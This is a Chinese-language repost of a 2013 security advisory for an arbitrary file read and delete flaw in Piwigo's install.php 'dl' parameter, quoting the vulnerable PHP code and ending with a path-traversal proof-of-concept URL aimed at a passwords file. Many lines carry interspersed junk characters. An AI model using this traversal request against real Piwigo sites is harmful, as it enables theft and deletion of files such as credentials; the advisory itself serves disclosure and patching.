Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。
) M# }1 G2 i  H$ _" `5 Q
: D& u! i. ?) W1 b+ ^4 Z$ a$ P) ~! wPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
====================================================================
, l3 J) J! l% t  N/install.php:
-------------
; Q. G/ g: k9 k8 [* E( K: M113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
. P, M$ a" ]' ^9 `+ d6 [" u, M. K114: {
* N/ Q$ K8 K& T. g* C4 m115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
; c7 B+ T& N( u+ L4 W; J  X119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
5 A) I% j# p7 t& ^  P) a123:   exit();
) F( w, K9 w& D2 t" C1 n& Y& {124: }
8 n" A5 k! D: s! C2 ?" O' U* ~====================================================================

6 ?* K" b. G, p! o6 x. C* s" jTested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a
7 u4 Q& s$ _" ?5 b2 }% I
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
$ P+ l8 Q1 w, |5 d                            @zeroscience

: c' }* d8 ?/ A9 J. M3 L6 `4 a" vAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
7 o0 l0 A+ N# B# [/ Y
8 K0 P* O. P/ G& U( X15.02.2013
' d1 K$ `0 c, }2 J2 E% x
--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
' k& q5 |: r) p2 t' t; @
+ h/ ]- B( x3 W) L7 M, k$ Q8 c